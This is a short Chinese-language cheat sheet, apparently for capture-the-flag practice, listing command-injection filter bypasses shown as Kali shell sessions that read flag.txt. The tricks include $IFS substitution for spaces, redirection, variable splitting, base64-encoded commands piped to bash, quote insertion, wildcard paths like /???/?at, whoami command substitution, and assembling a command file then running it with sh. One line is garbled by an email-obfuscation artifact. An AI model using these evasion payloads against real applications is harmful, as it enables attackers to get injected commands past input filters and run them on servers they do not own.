命令注入绕过方法总结

root@kali:~# cat${IFS}flag.txtflag{a89da5faw8f4s5fd184d}

root@kali:~# cat${IFS}flag.txtflag{a89da5faw8f4s5fd184d}

root@kali:~# cat${IFS}$1flag.txtflag{a89da5faw8f4s5fd184d}

root@kali:~# cat$IFS$1flag.txtflag{a89da5faw8f4s5fd184d}

root@kali:~# cat<>flag.txtflag{a89da5faw8f4s5fd184d}

root@kali:~# cat<flag.txtflag{a89da5faw8f4s5fd184d}

root@kali:~# a=c;b=at;c=fl;d=ag.txt;$a$b $c$dflag{a89da5faw8f4s5fd184d}

root@kali:~# echo "cat flag.txt"|base64               //这个在本地执行加密flag{a89da5faw8f4s5fd184d}root@kali:~# `echo "Y2F0IGZsYWcudHh0Cg=="|base64 -d`   //注意两个反引号flag{a89da5faw8f4s5fd184d}root@kali:~# echo "Y2F0IGZsYWcudHh0Cg=="|base64 -d|bash //第二种执行方法，不需要反引号flag{a89da5faw8f4s5fd184d}

root@kali:~# c""at fla''g.txtflag{a89da5faw8f4s5fd184d}

root@kali:~# cat flag.txtflag{a89da5faw8f4s5fd184d}

root@kali:~# c$1at [email protected]flag{a89da5faw8f4s5fd184d}

root@kali:~# /???/?at flagflag{a89da5faw8f4s5fd184d}root@kali:~# /???/?[a][t] ?''?''?''?''?''?''?''?''flag{a89da5faw8f4s5fd184d}

root@kali:~# echo "xxx`whoami`"xxxrootroot@kali:~# echo "xxx$(whoami)"xxxroot

root@kali:~# c> at f> la> g.txtflag{a89da5faw8f4s5fd184d}root@kali:~# echo "xxx$(whoami)"xxxroot

root@kali:~# echo "ca\">cmdroot@kali:~# echo "t\">>cmdroot@kali:~# echo " fl\">>cmdroot@kali:~# echo "ag.txt">>cmdroot@kali:~# cat cmdcatflag.txtroot@kali:~# sh cmdflag{a89da5faw8f4s5fd184d}